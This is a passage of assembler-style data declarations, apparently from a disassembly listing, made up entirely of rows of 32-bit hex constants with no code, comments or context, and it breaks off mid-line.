78CEB848h, 7DE918C0h, 0BCE077Fh dd 0B69DF676h, 0DF309010h, 80451B3Dh, 47DA835Ah, 13ABB273h dd 5C9A50B5h, 0D2A192E8h, 905A0134h, 3E8B7C00h, 75B5EA26h dd 27B4BC9h, 0AA4FF728h, 0B4456460h, 68666700h, 0CDE8CC1Ch dd 0C0BA1624h, 0F3A40029h, 9B2EA5A4h, 62B0F654h, 1F56E318h dd 0F54514h, 1819BC3Ah, 43D0A042h, 691EC576h, 5466731Ch dd 56BA2782h, 3F88511Bh, 65A20BC6h, 2A4C19C9h, 0E692D810h dd 0C4A1C704h, 8CD015E2h, 7A47FB7h, 0C04AEA81h, 1037421Fh dd 0A2F690E0h, 3F6919C0h, 99B6465Ch, 0F0E903D4h, 1A094E1h dd 284D81AAh, 0A6121118h, 78B39C11h, 0C4996C06h, 71138CBh dd 2CD3CF5Ah, 6BE93053h, 0A300A8C0h, 6877E4Ch, 133B6232h dd 927CE02h, 7CC8EEF4h, 0B975ACDFh, 3DB67813h, 0F4CB46E0h dd 0A567504Bh, 34D570C2h, 0E2F86C26h, 52280020h, 0C1DBBE6Eh dd 18AC1C15h, 0BFBA40C4h, 0B58037F1h, 4ACE4200h, 8147DEB2h dd 0A301E2CBh, 34CA88B4h, 91A59069h, 824D0180h, 22EC3F8Ah dd 2E9B0010h, 38651D9Eh, 0B6601CEh, 8756F347h, 0FE082085h dd 6A9BE707h, 90095A5Ch, 1325B338h, 0EF44DA3h, 73E9CDD8h dd 919CB468h, 0A9E0A4A8h, 0B4E2B100h, 0AA97393Ch, 7401E034h dd 3D1C148Ah, 6C13F4FDh, 0CBF08C35h, 2CB1EFF2h, 84774607h dd 0D8A07A40h, 0A07004Dh, 6018C42Fh, 54076C2Dh, 0B1DDEFEAh dd 61B6ACF0h, 0A9A50097h, 37AFE99Ch, 34006253h, 527B0880h dd 0C761E8F0h, 549BC010h, 37908C50h, 0C91A8A03h, 0AC408749h dd 3EAECE4h, 0F08FA23Eh, 58247706h, 6B889C47h, 1A4689B5h dd 4F626410h, 8A004698h, 0BB684D79h, 98557E0Bh, 25367180h dd 881D1D7h, 0BE27CF9Ch, 0F0F1A669h, 50CD00BEh, 9C904B86h dd 8024B19Ah, 0AEC13702h, 32004A8Eh, 0C6A99560h, 0E6CA766Fh dd 144EA6Dh, 1247C0D4h, 40FA6CB6h, 890157B0h, 0EE124C94h dd 69176420h, 24D50F0Ch, 26C0C2A7h, 0B6C3EAC7h, 0A431AD3Ah dd 820CD450h, 1240B816h, 529F141Dh, 300400D4h, 0D3011913h dd 8C9A5E7Ch, 0C1406B10h, 6C81B714h, 24901411h, 4A406C1Eh dd 39D5A06Fh, 5180AC8Eh, 56ED28F7h, 3B1654BDh, 0DF035A4Dh dd 8065C218h, 309D05EAh, 1549F7D1h, 22006F60h, 58ABBD3Dh dd 0C15BAFh, 52F41BC4h, 8E2E8B6Bh, 51386100h, 560D7089h dd 0E7BB05F8h, 81E35FABh, 62988A8Ch, 1FC93E88h, 9868491Dh dd 0CBAE8D0Fh, 69C0D815h, 0A07C3FD6h, 99F33080h, 2F2BE568h dd 0C0912226h, 94004592h, 7B9C5274h, 50E64C7Fh, 0F5D51A01h dd 3891BE38h, 9EBF11FCh, 667EA403h, 0CCE10D22h, 28E70A9h dd 13FFD816h, 50B72C45h, 0E93C80C8h, 9735A600h, 6B80B100h dd 352A4DBh, 0D0C0546Ah, 298F611Ch, 64501E6Ch, 58C2BC70h dd 5BE3957h, 69CC20AAh, 600BF8A1h, 131F19B1h, 0F3FFD0FCh dd 862F074Ch, 6028DCE7h, 38B4D746h, 0AA0A7F75h, 94E12D85h dd 0DA89419h, 8A940014h, 4718A4F5h, 82A128C4h, 6C20D532h dd 0EB203E5h, 5383F9E1h, 0DCB9710Ch, 8ABE7900h, 88067B35h dd 9AA80066h, 0A60AA730h, 0B8093491h, 12BC3657h, 12D40294h dd 45C0C08Ah, 0A603124Dh, 6A582351h, 0C246C5FFh, 8710214Ch dd 0F2AF0FE3h, 6A69B5A1h, 0CD5CD021h, 40D810F6h, 0C7689631h dd 68F710A0h, 12028F34h, 8D13CC9Bh, 1DB0A1C6h, 0D212BFB0h dd 32D77490h, 0F09ECC3Fh, 90CACF30h, 89391FEAh, 0DEB060E0h dd 9022F500h, 3B40B519h, 299D00A9h, 5C35F675h, 0B74CA508h dd 575E0478h, 38C086D8h, 63F0996Eh, 1816C161h, 0D7B8F850h dd 3746A520h, 0C569AB9Ch, 3C900231h, 1C02F6C6h, 9C484847h dd 0E4A8A899h, 159F01ADh, 8D1DCC27h, 0C8E045ACh, 97009B50h dd 7101C56Fh, 19620D0h, 7240C77Dh, 51D5E26Ah, 0FCDE61B8h dd 272956A2h, 6F07BC42h, 0A6B0F5E2h, 0A69D108h, 54526DE6h dd 0C42910A0h, 450092E2h, 92E03DDh, 0FDAD8C0h, 4B178187h dd 0C2BC74ACh, 6B2F364Ch, 0B6130503h, 0ACEF2808h, 4B4F0004h dd 0BA1C9B88h, 98D16818h, 34A5D9h, 46B35612h, 9F31144Fh dd 0AAE092E0h, 4A104D5Dh, 79894420h, 0FE157B86h, 0F8EB0CF3h dd 6612BC11h, 5CB97C01h, 6BD9E8D6h, 1EC60883h, 0F9911B3h dd 8E4784Eh, 5061B02h, 1F3C8840h, 1291164h, 0C6F46853h dd 4160867Dh, 0CBF82E66h, 111D1390h, 9C22CC86h, 0AAC58407h dd 67E758D4h, 47F05321h, 36007029h, 89AB506Ah, 1E141246h dd 11444DE3h, 1D110713h, 0F86B3189h, 69005FF9h, 0EE0727F2h dd 0E95665ACh, 93F0CE82h, 0F48EA0B8h, 0D7E0CAB2h, 884882Ch dd 0A60C1C84h, 4FE0661Fh, 317F7380h, 20FC8CEh, 20E35D1Dh dd 22504D26h, 5EBE0987h, 34489C1Eh, 29FE42B7h, 0EDA97A1Fh dd 0DB43A280h, 1C46AC1Dh, 2D61B47h, 3BCFDCB4h, 291E7461h dd 0E9820030h, 0C5959AD4h, 7EA0090Ah, 5418AAF8h, 8D3D0EE8h dd 7830470h, 0C32DFEh, 0EC794898h, 50E59101h, 0C156D9ADh dd 24CC7247h, 4880AC36h, 60AF9840h, 8E45391Bh, 9B9CD380h dd 57A090DAh, 4BDCB21Fh, 0B1309877h, 2A4556Ch, 46429495h dd 0F4F1997Ah, 6871EC00h, 0E5F401F2h, 5600A872h, 8DD36186h dd 503BCA6Dh, 0BC0D1E7Ch, 0A7DE6800h, 1856AC2Bh, 0B994BB36h dd 80A8431Eh, 1700200Bh, 5FD7B49Bh, 0EF02DCh, 7ED55871h dd 0FB3A96DAh, 0C091F5FAh, 3C280496h, 6F507D3h, 632403C9h dd 0C002F336h, 0BD3EDF93h, 10A45068h, 10FCA1D1h, 0CC88A5BCh dd 0B679034Bh, 6C987B3h, 1410464Ch, 0EAE2D750h, 0EB487000h dd 71F3F67Bh, 6DBAA14h, 914289C8h, 321046C8h, 1200FCA6h dd 0AE8F97F5h, 0B2C6FDh, 41337562h, 0E2B54877h, 0B720316h dd 1089084Bh, 0B4245A90h, 23304024h, 0ECF6FEEFh, 88018E71h dd 0B077D3D1h, 12C0A7C3h, 4C242757h, 0ACF6C10h, 0B0CD60B6h dd 114A19EEh, 0F072C29Ch, 47F46909h, 514DDCA0h, 24000288h dd 27BEA36Bh, 0B09D1BDCh, 0E368061Bh, 0B80A2203h, 0CA40C496h dd 1D1E2A9h, 1C5C0141h dd 230B61E9h, 0E82E13C4h, 34EDCC8h, 5554B0EEh, 0A0080279h dd 96FDE147h, 0D1B48C87h, 3F95A207h, 1C144627h, 986C4888h dd 58A92004h, 0F0CC3112h, 0F70B90A4h, 0DB21FC22h, 93095588h dd 5ACC91A7h, 192DE301h, 83DCA0EEh, 0B33411h, 0B94E0BFDh dd 0F227A75Eh, 70630D34h, 87D8891h, 1CD0B214h, 0F747CF1Ch dd 378234F5h, 893EC3EEh, 202B93F2h, 0DBEA68B8h, 0B111E50Fh dd 0DC8B8092h, 26166BFDh, 8A4468Eh, 7E91F945h, 11E07D00h dd 1FDBBD98h, 7AB42A04h, 18CCCCE2h, 27104FF8h, 0B7F38030h dd 10E67B4h, 20E5FBC8h, 0FE0BF54Bh, 0ED603850h, 0A6E3AD00h dd 13685BEFh, 44480E00h, 63C6DF8Bh, 5CF73E5Eh, 0A33D0B07h dd 0B7004E67h, 0E2282B3Ah, 0F70E143Eh, 0D4D5E601h, 6FAB6B84h dd 0EEFEADDCh, 54470079h, 15CFEBE5h, 923D1C62h, 0A2340E4Ah dd 7A5818E0h, 3F9E00DEh, 0D2D1A751h, 2C00F194h, 0FB4171C2h dd 6FA436Dh, 0F967635Bh, 4D108851h, 5C008042h, 5BBF4755h dd 180422A7h, 0F0D7ADD1h, 8C9F0B0Fh, 0A128F278h, 1071EA60h dd 0E686F0h, 9273C557h, 0E540CD0Dh, 85803F01h, 0B779E46Bh dd 15CE9B8h, 5FF2AD00h, 8142E0EDh, 8F3E79C0h, 9A72BBh dd 64380CD2h, 1A7B2CBCh, 0C6B05900h, 1B854948h, 42180202h dd 88246017h, 4B2620A0h, 7600CFE0h, 2883087Fh, 3DC236Dh dd 46BFED43h, 28240A36h, 0CC200A63h, 6ADAD0C6h, 0DF71F841h dd 43E006D1h, 0DC00196Bh, 0CAE9446Fh, 0FE2129F9h, 7B330368h dd 0AC116DD8h, 0EB28C80Ah, 0FF63C8D0h, 79D8F833h, 0B8E8504Dh dd 45E431ACh, 8E048A61h, 20B36269h, 0D6AD1CCCh, 0E21C0F1h dd 3FFE475Eh, 8C61800h, 741A2FE4h, 0D47F1B92h, 4CA09969h dd 0DC50AC97h, 34900F1Ch, 60C70CF7h, 0B67BD157h, 0A2543BBDh dd 4200E2C4h, 6EC4A5A1h, 3F20573h, 4772912Dh, 787FF65Ah dd 0F159F760h, 0E5D42Eh, 797EE255h, 0EAA68127h, 0D3949E15h dd 82C84448h, 0B20588h, 901E3231h, 0A5FC1DEh, 51059A77h dd 0E99979D7h, 48B58C22h, 0A8BF8A94h, 26A4CCh, 36A69B2Dh dd 0B8A012ABh, 66917402h, 82870165h, 1EE9A90h, 48217063h dd 554442DCh, 9EC54C1Fh, 0AAB66300h, 2D0CB230h, 27472800h dd 31DA1217h, 98B01BDh, 0AE96E492h, 0F2F18EF3h, 5E64231Fh dd 3D911BD0h, 4E800810h, 3E251A0h, 0E9055500h, 2208F771h dd 0BC485347h, 0DD48A074h, 59230FE9h, 1B290ABEh, 8B091C20h dd 99ED61h, 1D71D180h, 0AF378A5h, 0B399BAFEh, 1E378048h dd 3C8A0209h, 12080748h, 30040801h, 0F422E7F5h, 0E3100711h dd 0DF00A5DAh, 53FA0C37h, 50F2475Bh, 24759CDCh, 7588D01h dd 0B0826214h, 0AE484BB8h, 8D88F893h, 0EF791E9h, 0E706B0C3h dd 4D40A6ABh, 0E450B1CAh, 25F2158Dh, 0A118C05Dh, 43C1310Dh dd 4F642C00h, 6D35ABC3h, 449C247Bh, 841E90CCh, 9021F88Ch dd 9208117Fh, 41624C20h, 0DEB001E7h, 3B1A0C5Bh, 1F98C80h dd 57B07A4Fh, 0BF782045h, 727E8064h, 7FCF943h, 0BFDD1DA9h dd 60064F69h, 99FF3381h, 9483C0DBh, 0BD3BB815h, 18DA01F4h dd 307C8C5h, 0E855B441h, 0EE6EB808h, 0E18BF80h, 1CEA7C31h dd 6D7747Fh, 19DBBFF5h, 0F8095C24h, 0B8504B60h, 90E10FD9h dd 5E9339E6h, 9C6944F0h, 0A0348C7Bh, 4CEF6100h, 0D1326F3Ah dd 0BD14040Fh, 8CA898E3h, 20184F0Ch, 801142A2h, 0A9210159h dd 242D6986h, 0E5CD7178h, 6A19F497h, 412EBE02h, 646EC3E5h dd 698B30CCh, 0FA6864C1h, 8F7CC0A4h, 79F00989h, 8051EBCFh dd 7180E60Dh, 7B6584ABh, 0CA00F422h, 0F5024FD1h, 4C8A924Bh dd 34C20CC0h, 0C86179AEh, 0B2FC4C73h, 56A2A84h, 0BC284C90h dd 0CC9D0CC0h, 49482744h, 0F916105Ch, 58720800h, 0ED80CAB8h dd 2241478h, 0A460648Ch, 0B190D5BBh, 1874260Ch, 7AE06106h dd 80E4091Bh, 0A01480E9h, 0E8D1C041h, 24CA55BCh, 0A7C85A03h dd 0C83D993Bh, 1EFDF561h, 126E4A87h, 2D08040Ah, 904822F4h dd 18DCD688h, 61F28A93h, 0F600C822h, 7FCA276Bh, 3CEDC206h dd 0FD3EC6E2h, 86C93A4h, 90154C22h, 24ACB64h, 116F57A4h dd 0D80314ECh, 0B8994354h, 12DE3D72h, 2E3B7E0h, 83D0EFE0h dd 0A5FC4622h, 0E4046CB4h, 0FF0A692Bh, 0C8840EC6h, 0B4C1F2ECh dd 0F5F04B50h, 615D0C84h, 0B311F8A1h, 3C1CA00Fh, 0DD2460CAh dd 0F27249h, 43A175B9h, 0EBA6F1B0h, 0E4B48519h, 0B70C53B8h dd 0D090384h, 5E819E72h, 0E504597Ch, 0E4AD93DBh, 19358C81h dd 0AC581300h, 1EBE39C7h, 8B26000Eh, 8FC02Ch, 7CE985E8h dd 6995BFF4h, 0D83AE4B1h, 361517A7h, 119D7509h, 21940E38h dd 5EC0D075h, 3FBD8D65h, 8BC4BE00h, 0FA401977h, 39F10272h dd 58574170h, 5E1098E4h, 0A84C5D0Bh, 0DF530776h, 2AD182h dd 2892805Ah, 6920F09Ah, 39BF2881h, 0BD751B4Ch, 40877940h dd 0A13CB53Bh, 5A71E1C0h, 0C3AD4Ah, 6AC2D8F6h, 3189EA09h dd 0A87CB100h, 79D9BCECh, 933C917Dh, 8A4446B7h, 8E0659D1h dd 19F98C72h, 0ECE901C4h, 777EC0A3h, 0D38A705Ah, 8E000CB1h dd 0B8123DA2h, 0CF341F73h, 0DEE180E5h, 0E914E9Ch, 0C86B5C00h dd 0B9C1DCBEh, 0A0133BCEh, 0BFD854h, 0D8250604h, 23D5974Eh dd 64B49500h, 0EA9D423Eh, 0E5E4A891h, 4B0E8105h, 431220D0h dd 98A7D1Bh, 0E26093B4h, 911C8448h, 61DB6081h, 0BA348C05h dd 0BF3AD700h, 0A0FBE153h, 91650070h, 779B134Eh, 500035E2h dd 99EA29AEh, 4C5CA11Ah, 2500F014h, 91B66781h, 702E69EFh dd 420CA86Ah, 0F85954h, 0ED135315h, 6A5D2B2Ch, 0DF1FE60Eh dd 2902D63Dh, 40DB578Fh, 44E27F74h, 0AD88E98Ch, 0F872E3E8h dd 82A73784h, 0D4457E9Eh, 44895392h, 8439800Ch, 40779040h dd 1626763Ah, 804E9C56h, 0E1DB24Dh, 95A41648h, 0B69444F6h dd 75D2405Ah, 0B854C381h, 7B320644h, 41ED7664h, 0E5ACE01Fh dd 0DB205868h, 4F91005Bh, 9CBB98D7h, 6B05CE64h, 0E5E89DC6h dd 0A2D6071h, 0B0517212h, 446B8F08h, 0E881248Ch, 0D10EED2h dd 0E7090141h, 20B151E3h, 2CD7DE90h, 0D0EA2CE0h, 33FF6278h dd 45842060h, 0D8BB5504h, 760B05D3h, 9E173002h, 0A1112211h dd 924187E9h, 6A806D90h, 61F4E49h, 0A29517A7h, 0D00021DEh dd 18BDBA4Ah, 24E63979h, 0C60F11Dh, 0E5D1D68Ah, 990D4600h dd 93CD240Eh, 0B82A0082h, 9196EF59h, 0FA38D812h, 0BC8D2AE0h dd 70DBF4A1h, 6740B92Ch, 45790085h, 789EA188h, 0C728952Ah dd 8F03308Bh, 9A29C906h, 0D9EE98DFh, 62E700DEh, 2CA632CAh dd 21028E7Ah, 11C979D7h, 0EA046B44h, 40D325EFh, 3F93A1B0h dd 17009BB8h, 0A0E1EA2h, 7EA626BDh, 720F00DBh, 5AC40294h dd 0F05DF247h, 3C7624ACh, 2069D162h, 0DA4F8C75h, 80C449F5h dd 0A5D17B10h, 42429D3h, 93D2D9AAh, 0D280C415h, 50A6B590h dd 8A30391Fh, 0DA6BE9F9h, 78A4139Dh, 0B598098Fh, 0C108C2h dd 0D740175Dh, 39A18A71h, 36B0AF18h, 52193D2Ah, 7D94EF59h dd 0E3B17D0Bh, 40E81A87h, 849C632Ch, 52313945h, 5A188980h dd 65500D1Fh, 0BFD3107h, 0E907073Ch, 853800CEh, 0E532475Eh dd 0AE6C8C40h, 9EDC992Fh, 303C9F83h, 0EEF7A511h, 26B99F05h dd 3C48676Dh, 40E4443Ah, 0D7EE545Bh, 21A12ADh, 7FE80E01h dd 29AC3C30h, 0F81194E5h, 136A8701h, 0ED82B193h, 2C46FDAh dd 4F1134B2h, 93592120h, 0C83CD601h, 11ECB220h, 0FDC6463h dd 0AD5E0h, 5CA76F49h dd 434F046Ah, 89D1D692h, 2CC45D8h, 0E5748F7Fh, 24B9059h dd 234D72A4h, 391C3E44h, 6B00CDC4h, 69F4E093h, 533F033Bh dd 7E9DECCh, 0D9B2E6C0h, 93989001h, 94844722h, 0D115832h dd 0EC204B5Dh, 6CB525h, 13C9855Bh, 475463D7h, 0AD22B4B2h dd 5E46223Ah, 32530800h, 85E3EBA7h, 0A4F0E6h, 9C0A4957h dd 6844C806h, 12080C58h, 785D0326h, 5FE541C5h, 449B58CCh dd 0BC306469h, 0C6DD7134h, 82228060h, 460D0084h, 72FEB806h dd 14C0A65h, 1C6B300h, 0E3433C11h, 0E5094B69h, 7CC4DE2Dh dd 964D6A03h, 0B0B76E52h, 26699E91h, 0A6C7A4Eh, 0B749D19h dd 8180A17h, 0FF807F37h, 6C765C81h, 0F4C83D89h, 0E471CC6Eh dd 0DEB00304h, 0A08032DDh, 759AAABh, 0A7B43741h, 9E6FF12Ch dd 0A8C9C409h, 0E4078400h, 82F7E164h, 3C30B474h, 64EC7126h dd 135E3225h, 4C3C48E9h, 3D890CE8h, 3928E472h, 0FDE0092h dd 152E2BD8h, 7B097A7Dh, 296CF88h, 4D74E58h, 8588A26Ch dd 0A440583Bh, 0DE5B95F2h, 0E8079F5h, 91F6495Ah, 0D853E6E0h dd 932CE24Ah, 50048824h, 0A95DDF8Ah, 0AE4902F8h, 0A40980D9h dd 0CF402760h, 2E9E3121h, 5B1AAA00h, 20C7D228h, 541009Fh dd 29EC6F51h, 0D877217Ah, 0D3D8BDh, 0AA2C5944h, 0A9D40A3Ch dd 239E2D06h, 1D493D07h, 3E2F65BAh, 8996FC00h, 204AFFB8h dd 0A76DAE1Fh, 0CD0A9800h, 0C8B956Ch, 0A1470223h, 60886F39h dd 3B780356h, 2372CC75h, 59FE0C8h, 1A2B1400h, 0F1E1FB9Eh dd 22092498h, 0F38907F5h, 6211B0A5h, 23F87491h, 483C0F28h dd 6A7C44h, 4F688706h, 1E9D1CAh, 8B3CE001h, 1C29BB0Ah dd 17700D01h, 0AB0EF1D1h, 82CEE086h, 16F019B7h, 44804974h dd 3828013Ah, 1DC73154h, 8AB8E315h, 5250D2C1h, 0AD227798h dd 0A0B3A58h, 44500344h, 9088747Ch, 0DCC600EFh, 460B0EEEh dd 0BF013FC7h, 4419E594h, 0FD06703h, 5B260C6Eh, 6483762h dd 3CE93861h, 618DF9E5h, 0F0085F69h, 0EC0072D1h, 0CFEE49EBh dd 0F24294h, 86741CDEh, 0BD48D25Fh, 0C9B1600h, 8C29FF8Ah dd 0B150004Dh, 5182DE4Eh, 7118EFEBh, 295198A0h, 0BBB9C040h dd 41B09CA3h, 68F93Eh, 1C80905Bh, 1649F3ABh, 1D3D4D98h dd 59AF001Fh, 1961CF33h, 67C6903h, 3E28D2h, 0FC4F82B9h dd 15BBBD9Dh, 0D3B47B00h, 0E3169052h, 0B6760CD0h, 71F0996Ch dd 89CFA633h, 0A079E283h, 0F3233E9Ch, 7470006Ah, 0A4E54D53h dd 54901D58h, 44B1CA0Fh, 0BC13A7DDh, 8A3D4360h, 0E86E5AF0h dd 91860053h, 0B255EDFCh, 0A026524Dh, 78008422h, 65EE9DB8h dd 12F7283h, 0D75F17A5h, 0DCAC2289h, 51314F32h, 2EC0902Ch dd 49EE7103h, 22ECCAF0h, 0B0DA3700h, 0AE0C9F3Eh, 8C27246Fh dd 0BDE26078h, 23009348h, 0C0A9B726h, 0F2438C8h, 5575F119h dd 32F7B8C2h, 898A98AEh, 3C11A0h, 8DB5FA91h, 36C3DEBh dd 14024D4Bh, 9CA02FB8h, 0A128FAEh, 70222A47h, 204D20DFh dd 0F20CBD5Ah, 0B16169AFh, 340D00B9h, 1B2F6A79h, 713C07FCh dd 9DE18044h, 5CFF05Fh, 11A7C40h, 63138EB6h, 80471737h dd 0EB3243F1h, 0B8DA0CAFh, 19246059h, 10A4F85Bh, 9B035FF4h dd 3FDE297Eh, 0FC9FF9FAh, 102433DDh, 46B0027h, 340CF567h dd 8D48031Eh, 0AB02109Ch, 0A9876918h, 0C91ECAC3h, 0D4C12C15h dd 8B5F7E0Bh, 0C73AB040h, 32C28326h, 9A605A00h, 1B442F2Ah dd 7D9E3BC0h, 6624910Ah, 9F008486h, 0EF3FC843h, 3C18540Ch dd 0A8A949E7h, 0E21235C1h, 0BF22F884h, 56C67700h, 0EF5CDD41h dd 0B7EC0C23h, 9A88BA29h, 8C2A5818h, 2455960h, 0B15FE46Eh dd 98802906h, 24726FF1h, 641F331Ch, 0D13052C0h, 0EAB25F10h dd 9690FFh, 1E6F1B56h, 61D4AA44h, 6468E901h, 3521D1F3h dd 0FCCF0024h, 0D58C0131h, 535AF8BDh, 0BCA0E217h, 0C977D899h dd 15E030E1h, 4882A626h, 2A2158A8h, 18601132h, 0EC591829h dd 0F2F41C7Ch, 52E907C2h, 0E203725Fh, 8629E060h, 0C0966980h dd 6035E939h, 0AE00516Ah, 0D9DAE746h, 0E45762ACh, 48797FF3h dd 0A000A118h, 0FBF0810Ah, 6A005E47h, 0B75FB286h, 0EC7CD0A4h dd 0FF707FFh, 907A0957h, 71BC82D1h, 17309492h, 0C9EED91Bh dd 78430EA9h, 0C80D61Dh, 1F3B1AC4h, 50AA7A0h, 7A111891h dd 3992AD00h, 654A4207h, 80162738h, 1BF92F59h, 3C28BDD3h dd 330303E9h, 75AC7061h, 0EBCA3904h, 44C1D101h, 74082492h dd 0E9997484h, 0A4606702h, 226EC5Fh, 2360EC8Dh, 25AC83Eh dd 0D643731Bh, 0DAC08B50h, 880778C2h, 299062D0h, 50800216h dd 0BB78D5h, 0E669E1C1h, 26786CCCh, 5A855000h, 88CF99DFh dd 64D52C0Ah, 50D84A4h, 0C65009Fh, 0A1B3D76Dh, 642091F4h dd 52A88E0h, 1F20B60Fh, 0AF71C2D9h, 3CFC919Ch, 1210E210h dd 7CA8671Eh, 4E7E2C80h, 19F4BDFh, 1F23BC44h, 7AA210Bh dd 18880474h, 288049BAh, 1020E2Eh, 2A10771Fh, 61D9809Dh dd 9423B141h, 0B06C0796h, 9981BFACh, 0B2AF508Eh, 280610B0h dd 4F633E8Fh, 0A9FA71A3h, 0E465B123h, 0E1DCD480h, 0D4648A02h dd 0E5292A18h, 31714C71h, 3D3990C8h, 0B16AF456h, 800CB94Ch dd 0C57E17EFh, 0F1B09885h, 61F6FD10h, 12770939h, 600C9D0h dd 69A4837Ch, 500E72CFh, 8A0BB89Fh, 0BEF878C6h, 33017B72h dd 40E895Ah, 0D4401AFAh, 8B23B2D3h, 0B1C0CC9Ch, 0C1CB481Dh dd 0A069FF00h, 5276DDh, 0B735A4E3h, 1F293209h, 3D4799C0h dd 0BC754Ch, 0E1A19D51h, 34A73AEBh, 2A18B670h, 1FF805C9h dd 50B9F6h, 87B1ABCEh, 0CA4D10EFh, 9C502970h, 0BC400391h dd 0C69DF34h, 164130F7h, 0A71E1890h, 0F426D1C6h, 4D0B7861h dd 7C19B4C0h, 9069B0CCh, 0ABD400E0h, 58AF5F9Fh, 776439Bh dd 103C524Ch, 0B289B3CAh, 0F9AC9830h, 0A4A9B929h, 206A128Eh dd 0A5C60DDFh, 0B4BE8CDh, 3EE2B9D6h, 0CCD21400h, 0F702302Dh dd 72056625h, 8050E5A3h, 752AA91Eh, 3D009F4Eh, 26D09516h dd 16A1C3Bh, 41A4889Ah, 0D7557D56h, 0F5E59117h, 0F230471h dd 16B42847h, 0A40ACC9h, 147C0ECCh, 0CE243D8h, 6786D101h dd 4485A670h, 0D48948h, 0CE65ADBEh, 94054D7Ch, 283416D8h dd 0FFC9C00h, 0C98AB9h, 0FE1E9175h, 48AA0166h, 1F4EAC00h dd 638BD66Ch, 0B53D09D1h, 0C0A120FAh, 609B3CD2h, 0A613081Ch dd 50442957h, 515E5E9Eh, 2060003Eh, 1318FE05h, 54675CDh dd 0FB473662h, 2078CCCBh, 995B1C00h, 0FA46C0AAh, 51AD0FFDh dd 1EE24016h, 6128F4h, 80691263h, 0B7EFBA74h, 2B941CCBh dd 67FB4044h, 0CF4763C1h, 1131B000h, 0D2D4ED79h, 9FC02C4Ah dd 40B261C0h, 161980D5h, 0AAB45C11h, 1E41099Ah, 0E401CC6Bh dd 0E1649120h, 11084143h, 16144174h, 1891804Ah, 3E60F059h dd 7DB10049h, 0F65D08DFh, 31050786h, 3035B0EAh, 5B658841h dd 3430D274h, 871A00CCh, 0B282465Eh, 0AA07C3ABh, 3BB14E8Dh dd 0F830B9F6h, 0D2C90344h, 0FF3196FBh, 9FA51CC1h, 2479D411h dd 2E87601Ah, 20F748CFh, 9F745711h, 8A08F8h, 0FA175518h dd 11E49A62h, 0E24E1F09h, 8E7084EBh, 0F6C8340h, 6E7176EDh dd 0CDE82354h, 0A3D7944h, 0C496C8Bh, 0D3C42ECh, 19094044h dd 0A0168029h, 416CE4B8h, 2C590792h, 520A7732h, 806495AAh dd 6021090h, 82D23E85h, 0B0C04A99h, 16DB7F4h, 766334EFh dd 6174F754h, 7C50A6A9h, 22187814h, 86840020h, 1CC23114h dd 0C6095648h, 0B0E31F41h dd 0F0FA0E28h, 0D2371F5Ah, 1D20F218h, 0E52B2323h, 4BF86C08h dd 0E37F5090h, 0EECDC900h, 8A97AD9Dh, 3A290044h, 15C10F93h dd 5E13180Bh, 9C200649h, 9CC717CAh, 32058854h, 9B666580h dd 27F19A14h, 14108CFCh, 92E20B8Bh, 987B6302h, 802B79C9h dd 0F48DDEAh, 19612C4Ah, 16170430h, 0B52800ABh, 49DA0Ch dd 0DD7FA6C3h, 83A5550Ah, 93861001h, 25F5CA6Eh, 149F6060h dd 0C46928FAh, 0A6090A78h, 0CF43227h, 0F7F11E17h, 0A5F0085Fh dd 0CA703Dh, 26B65E82h, 9ADB149Dh, 4D8D0403h, 3C437471h dd 2048C808h, 49F0BC8Ah, 0F4339CB1h, 0DB002341h, 1A9F2B7Eh dd 0BA4E552h, 2C563160h, 0CAFFFC98h, 0EB1F9C00h, 0E8DC7DCDh dd 9849893h, 68A4F7C9h, 78390026h, 0C03432F1h, 2FB9F323h dd 81830063h, 0A81EA756h, 3B17A015h, 700573B2h, 0C44690A6h dd 391B29h, 0BFD25DE7h, 3AB5B70Dh, 4D7AB800h, 32A6E0Fh dd 91789C63h, 96C904D1h, 801DCF4Fh, 0E5CE918Dh, 7938D569h dd 0F6BA00AFh, 1E4CD989h, 9105785Fh, 0DF803BD0h, 0F22ECF81h dd 0A2001597h, 2C0D869Ch, 0A60AB9h, 9FE8CE1Bh, 0B083803Eh dd 71058C91h, 0B4228BC9h, 87A98h, 9A863E0Dh, 66D3037Dh dd 67908A1Fh, 3228E0C7h, 9EDE96A0h, 0ED445CE6h, 171F3703h dd 0DF0BE18h, 0F425856Ah, 54A42068h, 0EE47A7ADh, 1D1700DBh dd 3BE706B1h, 5300ECD6h, 0FA250E20h, 509B8411h, 44A34C79h dd 510CCA8Fh, 118659AFh, 7DE10065h, 397A741Eh, 2716B625h dd 5C04D962h, 0CE421DF1h, 6883AD82h, 0ABD97320h, 686F303Fh dd 0CA7F3E00h, 0FE601FEBh, 0B99B3E87h, 0B5FB289h, 7278DF07h dd 0A4C85328h, 99C01DBAh, 6C5A4185h, 43F209h, 0E03604C5h dd 738E6827h, 0DC184D00h, 0FC32BDCBh, 687F584Bh, 3C9B3D07h dd 8283A5D1h, 0CA2175A4h, 4F00A01h, 306C240Eh, 80C02908h dd 5B8CAA77h, 0C6752854h, 27F69800h, 3A4EA7BBh, 0BBCE23Ch dd 10246297h, 1E4D3848h, 0BA77541Fh, 1ADAB130h, 0B26F00DFh dd 0F102AD1Fh, 0A22E5163h, 0D51DAB3Fh, 6D4229F0h, 0F2A30753h dd 0E081B969h, 0B624F7DBh, 90B06AEAh, 5C2A1D44h, 3C8FF829h dd 50C31EAh, 9056B60Fh, 61698BD8h, 7C60E488h, 0D9280E87h dd 0B4E0D18Fh, 3F474516h, 17DDDC13h, 0C0BA6809h, 91054998h dd 789325A0h, 4D27F604h, 0B8C13536h, 985533F0h, 6D5C0CD0h dd 0B47600DBh, 0B18FB84Fh, 92A7746h, 0CD22BCA5h, 981BE290h dd 8D0D29A8h, 0CF0129Ch, 2D11B140h, 303C3F58h, 0FC3C89DCh dd 0EB69D61Fh, 0A9502F19h, 5B7B110h, 29092604h, 54886EEDh dd 0F46B0B91h, 0B89128D1h, 0BC36DC2Ah, 7706812h, 0DB7F7707h dd 480D5EF0h, 282000F4h, 174D53C5h, 71C29211h, 713EEAA0h dd 0FF3F004Ch, 0D5DC65F6h, 1EB47E00h, 0C4D150D4h, 0A01602CBh dd 0DF44FE1Ch, 0CA0048D1h, 7C66C71Fh, 23323A68h, 8DB04404h dd 594087CDh, 0F9C95801h, 5A582C1Eh, 0E53428h, 8AB23297h dd 0FE7E5C64h, 0DC07D4Ch, 99EAC870h, 76EC72h, 0ED85D2E0h dd 0A6D9FD13h, 0F2575505h, 5CC58B71h, 99ACEC98h, 0C8B290F4h dd 0E44449B1h, 0A6C1E300h, 76EC0607h, 287E00FCh, 6B49D0C7h dd 